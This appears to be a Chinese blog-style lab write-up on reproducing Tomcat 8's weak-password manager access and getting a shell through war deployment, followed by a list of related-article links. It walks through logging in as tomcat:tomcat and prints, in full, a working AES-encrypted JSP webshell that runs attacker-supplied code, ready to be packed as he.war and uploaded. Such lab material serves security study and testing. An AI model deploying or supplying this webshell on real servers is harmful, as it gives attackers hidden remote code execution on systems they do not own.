Tomcat8

简介: Tomcat8

漏洞简述

Tomcat7+ 弱口令 && 后台getshell漏洞

Tomcat版本:8.0

环境说明

Tomcat支持在后台部署war文件,可以直接将webshell部署到web目录下。其中,欲访问后台,需要对应用户有相应权限。

Tomcat7+权限分为:

  • manager(后台管理)
  • manager-gui 拥有html页面权限
  • manager-status 拥有查看status的权限
  • manager-script 拥有text接口的权限,和status权限
  • manager-jmx 拥有jmx权限,和status权限
  • host-manager(虚拟主机管理)
  • admin-gui 拥有html页面权限
  • admin-script 拥有text接口权限

这些权限的究竟有什么作用,详情阅读 http://tomcat.apache.org/tomcat-8.5-doc/manager-howto.html

conf/tomcat-users.xml文件中配置用户的权限:

<?xml version="1.0" encoding="UTF-8"?>
<tomcat-users xmlns="http://tomcat.apache.org/xml"
              xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
              xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
              version="1.0">
    <role rolename="manager-gui"/>
    <role rolename="manager-script"/>
    <role rolename="manager-jmx"/>
    <role rolename="manager-status"/>
    <role rolename="admin-gui"/>
    <role rolename="admin-script"/>
    <user username="tomcat" password="tomcat" roles="manager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script" />
</tomcat-users>

可见,用户tomcat拥有上述所有权限,密码是tomcat

正常安装的情况下,tomcat8中默认没有任何用户,且manager页面只允许本地IP访问。只有管理员手工修改了这些属性的情况下,才可以进行攻击。

漏洞复现

docker-compose up -d

Error starting userland proxy: listen tcp4 0.0.0.0:8080: bind: address already in use

错误原因关掉burp

打开tomcat管理页面http://127.0.0.1:8080/manager/html,输入弱密码tomcat:tomcat,即可访问后台:

将带有一句话的he.jsp文件压缩成zip,并且将压缩后的zip文件改名为he.war

jsp 一句话木马,密码为pass

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>

上传he.war文件

相关文章
|
1月前
|
Prometheus 监控 Java
Tomcat
Tomcat
18 1
|
5月前
|
安全 应用服务中间件 数据库连接
Tomcat详解
Tomcat详解
54 1
|
5月前
|
网络协议 Java 应用服务中间件
什么是tomcat?tomcat是干什么用的?
什么是tomcat?tomcat是干什么用的?
|
Java 应用服务中间件 容器
tomcat
tomcat
92 0
|
Java 应用服务中间件
Tomcat2
Tomcat2
73 0
|
Oracle 前端开发 Java
Tomcat1
Tomcat1
127 0
|
XML Java 应用服务中间件
tomcat详解
tomcat详解
174 0
|
前端开发 网络协议 Java
|
应用服务中间件
Tomcat 介绍与使用
Tomcat 介绍与使用
126 0
Tomcat 介绍与使用
|
前端开发 Java 应用服务中间件
Tomcat就是这么简单(上)
Tomcat简单的说就是一个运行JAVA的网络服务器,底层是Socket的一个程序,它也是JSP和Serlvet的一个容器。
152 0
Tomcat就是这么简单(上)